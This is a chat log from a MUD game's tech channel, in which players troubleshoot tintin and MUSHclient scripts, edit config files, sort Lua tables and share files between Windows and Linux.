T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: The "question channel" is on the mud, the echo is on the client. They have no idea how to talk to each other.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: everytime I type "question something" I don't see any question on my screen
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Wozniak questions 'Test question'
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: edit line 8 of general.tin
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: put a '#nop' at the beginning of the line
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: restart tintin
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Channel output is gagged by default, since it's logged for tailing.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: yeah I cheezburger yeah I didn't see that
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: Btw, channel logging, displaying, and gagging is discussed starting on line 28 in the readme
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: I'm trying to edit line 8 via ssh and it's not letting me
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: What are you typing to try and edit it?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: vi general.tin
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: after cd aardwolf+tintin
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: And it is showing you the file?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: yes
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: And you know how to use vi?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: a little
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: Use nano instead.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: I couldn't delete characters
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: yeah
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: how were you trying to delete characters?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: the delete key on Mac.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: backspace
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: yeah, that's not vi
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: knew it
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: you delete using "x"
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: Cain killd Abelinc wuvs pico
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: So change line 8 from #action to #nop
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: Ixle nods at you in agreement. 
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: alias pico='nano -ST 2'
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: Wozniak: You can just put "#nop" in front of "#action"
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: with a space?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: Yes
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: So "#ACTION" becomes "#nop #ACTION"
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: how do I restart tintin again?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: inside tintin type: "#end"
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: after quit though right?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: doesn't matter
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Nuanse Tech: quit has no meaning to client
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: nevermind I have a quest
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: Ok back
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: I'm going to test questoin
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: question*
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: Ixle nods.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Vonliege Tech: does everyone else have mapper issues with 'Goblin Fortress'?  dis-connected rooms, discombobulated exits, etc... almost like a maze.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: works now
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: BUT
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: Vonliege: it is a maze
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Nuanse Tech: you mean center of the fortress that is maze?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: what it shouldn't because I typed "#config {command 'something'} {off}
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: what was it?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: Wozniak: Check "#config" you might have to turn it off again since you restarted tintin
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Vonliege Tech: really....  huh.  I guess I never noticed that it changes... I can manually get thru it just fine... mapper just always chokes on it
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: oh yeah. I don't want to though. What was it called though?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Nuanse Tech: it's maze. changes only those 4 directions
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Vonliege Tech: well... good to know.  keeps the botters on edge, I suppose
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: Wozniak: You can turn it off again with "#config {command echo} {off}" but that will only change it for now. If you want to change it permanently edit line 57 in general.tin
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: yeah that's it. ok thanks!
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: And congratulations. You just edited your first script and applied the changes.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: Pei )
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: Pei :)
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: Next lesson is to use #read <filename> so you don't have to even restart the client.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: interesting
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: Typically you will edit the file in another terminal, save it, and in the tintin terminal type #read <filename you just edited> to apply the changes
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: I did do taht
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: I did edit the file in a different terminal
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: I just didn't do that #read thing
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: Ixle nods.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Nuanse Tech: http://tintin.sourceforge.net/manual/
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: yes thanks
T3/r7/2013-06-14.txt.gz:{chan ch=tech}GraySong Gregor Tech: best way to send files over wifi network?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: catapult?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}WarPigs Tech: Same way you would use on wired network.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}GraySong Gregor Tech: and how might that be?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}WarPigs Tech: Whatever is appropriate for your OS.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}GraySong Gregor Tech: for example
T3/r7/2013-06-14.txt.gz:{chan ch=tech}WarPigs Tech: open \\computernamewithsharedfiles
T3/r7/2013-06-14.txt.gz:{chan ch=tech}GraySong Gregor Tech: tbh I actually want to transfer a file from windows 7 OS to a computer on linux OS
T3/r7/2013-06-14.txt.gz:{chan ch=tech}WarPigs Tech: on windows
T3/r7/2013-06-14.txt.gz:{chan ch=tech}GraySong Gregor Tech: was hoping there was a solution that didn't require a ton of config
T3/r7/2013-06-14.txt.gz:{chan ch=tech}GraySong Gregor Tech: thought there might be some software that allows easy transfer of files over wifi
T3/r7/2013-06-14.txt.gz:{chan ch=tech}WarPigs Tech: Don't know Linux. Does it access Windows shares via smb://computername?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}GraySong Gregor Tech: have no clue, also just because both comps are on same wifi network, don't think they can access each others shared folder without config
T3/r7/2013-06-14.txt.gz:{chan ch=tech}GraySong Gregor Tech: anyway, not a big deal, just checking if there is an obvious straightforward solution that I don't know about
T3/r7/2013-06-14.txt.gz:{chan ch=tech}WarPigs Tech: Can other Windows computers access shared files on you Windows computer? If so, that is already set.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}WarPigs Tech: Per Internet for Linux: mount -t cifs //SERVER/SHARENAME /mnt/MOUNTPOINT
T3/r7/2013-06-14.txt.gz:{chan ch=tech}GraySong Gregor Tech: don't know, only have 1 windows comp and one linux
T3/r7/2013-06-14.txt.gz:{chan ch=tech}GraySong Gregor Tech: they even share mouse + keyboard via synergy
T3/r7/2013-06-14.txt.gz:{chan ch=tech}GraySong Gregor Tech: I just figured if I can send mouse movements maybe I can send files in a similar way
T3/r7/2013-06-14.txt.gz:{chan ch=tech}GraySong Gregor Tech: I can even copy + paste to a different computer via synery over wifi network
T3/r7/2013-06-14.txt.gz:{chan ch=tech}WarPigs Tech: It can either copy files between computers or it can't. The fact that it gives you GUI control doesn't affect the inclusion or lack of a file transfer feature.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Failboat Tech: I seem to have lost my bar at the bottom of the screen which displayed hp/mv/mana tnl and enemy. Does anyone know how to get it back, it's not behind other windows
T3/r7/2013-06-14.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: try typing prompt
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Failboat Tech: didn't work, it's the multicolored bar
T3/r7/2013-06-14.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: oh, mush?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Failboat Tech: yeah sorry
T3/r7/2013-06-14.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: you mess with your plugin recently?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: try re-installing the aardwolf health-bars plugin
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Failboat Tech: nope, never. i hit something and it went away. I know theres a command that pulls up the bar or resets the screen?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: resetaard
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Failboat Tech: thats it>THANK YOU
T3/r7/2013-06-14.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: np
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Goldryn Tech: Is there a way to prevent the excessive arriage returns i get when i use aliases in MUSHClient?
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Goldryn Tech: I mean carriage returns
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Anyone have experience with registering .com domains? Trying to sort out an AU one and the registrars are breaking my balls for proof of eligibility :-( Figured .com might be easier.
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Pakaran Tech: When I did it, .com and equivalent domains pretty much required....  credit card validation :P.  
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Newchange Tech: Is it just me, or is Winkle's working a little less well now? QW after ht doesn't seem to work
T3/r7/2013-06-15.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: works for me
T3/r7/2013-06-15.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: reinstall it, if it dont work redownload the plugin
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Newchange Tech: yup k- doing those things
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Ixle Tech: Anyone know of a linux program that is a graphical representation of ping, preferably still console based? Like what htop is for top.
T3/r7/2013-06-15.txt.gz:{chan ch=tech}DarkPchan Tech: if i am getting a notice "lua error: attempt to call a nil value" is it prob a game error or something to do with a trigger ive created?
T3/r7/2013-06-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: trying to use a variable which doesent exist
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tech: something to do with a trigger
T3/r7/2013-06-15.txt.gz:{chan ch=tech}DarkPchan Tech: ok, thanks. just checking because my triggers still work just receiving that notice along with action
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tech: part of the action or logic associated with it isn't happening
T3/r7/2013-06-15.txt.gz:{chan ch=tech}DarkPchan Tech: hmmm, every action i wanted is firing but it is possible i added something extra by accident. ill double check thanks again
T3/r7/2013-06-15.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: to add @w
T3/r7/2013-06-15.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: oopa. to add a  semicolon to an alias... how to enclose cb it
T3/r7/2013-06-15.txt.gz:{chan ch=tech}DarkPchan Tech: just fyi, removed trigger and found error still occurs, seems to be related to update of soften soell
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tech: well, the error would then be caused by some other trigger you have (it could be in a plugin and not one you created), but it's a client-side error
T3/r7/2013-06-15.txt.gz:{chan ch=tech}DarkPchan Tech: could a client side error cause spell to show as casted but give error and do 0 dmg each time? maybe ill check diff client when i get a break, playing on atablet atm :p
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tech: wow
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tech: it is a server-side error...very rare to see that type of message (when not testing mprogs, etc anyway)
T3/r7/2013-06-15.txt.gz:{chan ch=tech}DarkPchan Tech: server side would mean bug right? sorry blowtorch makes trigs and aliases easy so i dont really have a clue about real programming
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tech: yes, it's a bug
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tech: I'll post on the bugs board for you
T3/r7/2013-06-15.txt.gz:{chan ch=tech}DarkPchan Tech: wow, thanks :)
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Wozniak Tech: I may have found a bug. Not necessarily in the client. 
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Pei Tech: no you didn't
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Wozniak Tech: I'm sorry I just want to make sure it's not
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Wozniak Tech: when I type skills it shows skils that I am an expert it but it shows them with a percentage still
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tech: right
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tech: that's what it's supposed to do
T3/r7/2013-06-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: supposed to
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Wozniak Tech: Good just checking
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Wozniak Tech: But why?
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tech: so that you can see your %
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tech: you're listing skills that you have, that's what that's for...
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Wozniak Tech: Ah o
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Wozniak Tech: ok*
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tech: to see skills to prac, type prac
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tymas Tech: how do i make bast's statmonitor to not automatically type campaign check after every campaign kill?
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Gnarcyon Tech: uninstall it?
T3/r7/2013-06-15.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: why would a statmon check your cp?
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tech: it's probably his campaign or events stuff and not statmonitor
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Harperon Tech: the scan highlighting plugin does that, iirc.
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tymas Tech: how to address %2 instead of %1 ?
T3/r7/2013-06-15.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: huh?
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Garthis Tech: yup
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Tymas Tech: haha nvm
T3/r7/2013-06-15.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: let me guess,the answer was %2?
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Garthis Tech: purple
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Monukie Tech: is there a way to tell my group how much hp mp moves train and pracs i get on level
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Daloran Tech: Yes. You type gt I gained (amount) of hp (amount) of moves amount of trains, etc =p
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Monukie Tech: no mean auto
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Daloran Tech: well, you could write a script
T3/r7/2013-06-15.txt.gz:{chan ch=tech}Silentdecay Tech: how do i make a trigger wait until im not in combat?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: where do i go if i want to save lua tables / load lua tables on start and quit?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: mushclient
T3/r7/2013-06-16.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: require serialize.lua
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yes i know how to save/load them, just not where to put the code for when the client starts and closes
T3/r7/2013-06-16.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: either write a nother function and call it from onplugininstall or just use onplugininstall
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: but wouldnt i need a plugin for that to work?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: and to save the set a variable with the table data during inpluginsave()
T3/r7/2013-06-16.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: if your doing it from your script file you can use onworldsave and either isconnected() or onworldconnect()
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im guessing there will also be onworldsave or onworldclose ?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: oh nvm didnt see that part
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Narhtan Tech: anyone know how much data aardwolf on the phone uses per hour
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Squillo Tech: not much
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Daloran Tech: depends entirely on how active you are. but being purely text based, not much =p
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Narhtan Tech: alright went link dead there, any idea how to make an alias on the iPhone?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: you'd make an aard alias on an iphone the same way you'd make one on any device...alias <what you want to type> <what you want it to do>...
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Narhtan Tech: ah thanks
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: to make one in a particular client on the iphone rather than an in-aard alias would depend on which particular client you're using
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Narhtan Tech: I'm too used to the friendly interface of the mush client
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Pei Tech: I loaded basts scripts then unloaded them because they caused some problems, now I get {invmon}5,1046846495,433337275,-1 every time i add or remove something from my invitory, i don
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Ixle Tech: type invmon
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: typ invmon
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Pei Tech: thanks
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay ive got a table of tables how would i go about making a copy table but with the keys to the subtables removed so that i can sort the tables before returning the keys? lua mushclient
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Silentdecay Tech: good morning fellow techs :D
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ive got this table Names = { Name = { key = ..., key2 = ... ect.}} is there a way to sort the names by the internal keys?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Newchange Tech: i don't think there's a quick method
T3/r7/2013-06-16.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: for k, v in pairs (table) do if v = blah then foo
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Newchange Tech: how exactly are you sorting the table?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: well each name has the attacked table, as shown, im trying to sort thoes names by the attached tabbles , most of thoes internal tables having numerical keys
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: values*
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: if that made  any sense...
T3/r7/2013-06-16.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: if you are using numbered keys to input new data into the tables you can use for  ipairs and it will only handle table values with numbered keys within the parent table you call
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im not useing numbered keys, they only numerical pars are the values in the subtables
T3/r7/2013-06-16.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: well like i said in my first reply only way i know of is to call each key/value and run them through some functions to sort em based on the values
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hmm im trying to use table.sort but that does not seem to do anything
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Did you add the function to the table.sort?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im currently using table.sort (table, function(v1,v2) return v1.GQs > v2.GQs end)
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i also tried it with another, key but still no change
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Let me wake up a bit, then I'll work with you on it. :p
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay i tried it again and made sure that i was trying to sort a numerical by forcing it to a number if it wasnt already but still nothing
T3/r7/2013-06-16.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i can't tell what your trying to return from that, it seems to read for k in table do return v1GQs > V2GQs without delaring what they are. would assume they are created on the spot when the function is called so they are nil
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: well ive got it in the for k,v in pairs ect part
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im working off http://www.gammon.com.au/forum/bbshowpost.php?bbsubject_id=6036
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Honestly, the way I do it is separate those values into its own table, then do a table.sort off that to return the values sorted.
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: for k,v in pairs (Stats) do table.sort (Stats, function (v1, v2) return v1.TotLevels < v2.TotLevels end -- function)end tprint(Stats) -- printing out the table
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im still new to this, so im just going off google and that nick gammons site  
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Give me a moment. I assume you have many other keys you want to sort?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: And, on top of that, you are doing it for display purposes only?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah for display
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: for example trying to find top 10 ect
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Let me see if I can come up with something that'll help you, and maybe you can learn off it.
T3/r7/2013-06-16.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i hate lua personally so they ways i have figured out are probably not very effiecent
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol ive already been told i have a round about way of doing things :P
T3/r7/2013-06-16.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i remember my first attempt at lua i wrote a few thousand lines to get it working and it all stopped working when lua upgraded i asked for help on gammon nick rewrote the entre plugin in about 60 lines
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: oh hahaha
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: well i made an autogreeter from bits and bobs i found on gammons site, showed it to someone else they said they coud have done it in probably quater of the lines....
T3/r7/2013-06-16.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i apparently wrote crappy versions of some lua modules cause i didn't know about them a few require "" lines and some simple functions boom.....working
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ahh well i already got requires and functions working for my cp ' quest time scripts but i still do things the long way :P
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ive been given a 4 or 5 line code for converting an os.time to hours mins ect mine takes about 40 lines
T3/r7/2013-06-16.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: same but mines in VBs
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ouch
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: o well wish i had an actual manual for lua, have one for php and html
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Pei Tech: PHP!!!!!!!! yay!!!!!!!!!!!!!
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol i trid looking in my php bible for a function that would work and doing a google search for a function conversion :P
T3/r7/2013-06-16.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: messing around tends to be better than a manual..till you get annoyed
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: well im now anoyed, thats why i asked for help
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Arnica Tech: What is wrong with http://www.lua.org/manual/5.1/ ?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lots of functions, not so many examples
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Arnica Tech: Maybe http://lua-users.org/wiki/SampleCode
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: from what i saw there was explination of the whole segment with no explanation of what each bit was doing
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: but then i never could understand the metatables
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: when in doubt, steal...my autoreply plugin has the os.time() to d/h/m/s...bast's eq miniwin had a display sort for showing bag contents by level without going through the in-aard mechanics of getting from bag and putting back in order
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i use a bag sorter already that i dl from somewhere, and my wy of spliting up the time works so im not going to fiddle with it
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: I wasn't talking about using bast's to sort bags...I didn't go back to the full beginning of the convo, but it sounded like you were trying to sort tables for display
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Hopefully the function I just noted him will work.
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm still half-asleep, though, so we'll find out in a few.
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: it returned nil
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: Book of Etzli sits down and thinks deeply. 
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Bah, I forgot to add a line.
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Under listcount = 1, add: sortreport = ""
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Testing on mine seemed to work, so I'm confident it'll work for you.
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: You just may want to pretty up the format on the print.
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay thats even stranger, im not getting enything now, just a blank line
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: oh i see its having a problem with the k,v in pairs
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Eh? Do you have separate tables for each stat, such as a GQtable? Or are they all under one table with the player name as a dictionary key?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: .*: for k,v in pairs(tname) do for some reason this is the problem
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: one table player is the dictionary key
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Okay, and what is the table name?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ClanStats { Name = { key1 = value ...} }
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: is my current format
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Okay, so you did: print(sortme(ClanStats, "GQs"))?
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: tbh, I think you'd save yourself a headache by simply putting the data into a sqlite table and using sqlite commands to sort ;-)
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, in my tell to you, I didn't add the quotes to GQs.
T3/r7/2013-06-16.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers with you about your shared secret. 
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah i did the quotes
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol im no good with squlite :P
T3/r7/2013-06-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: well not withought a visual interface
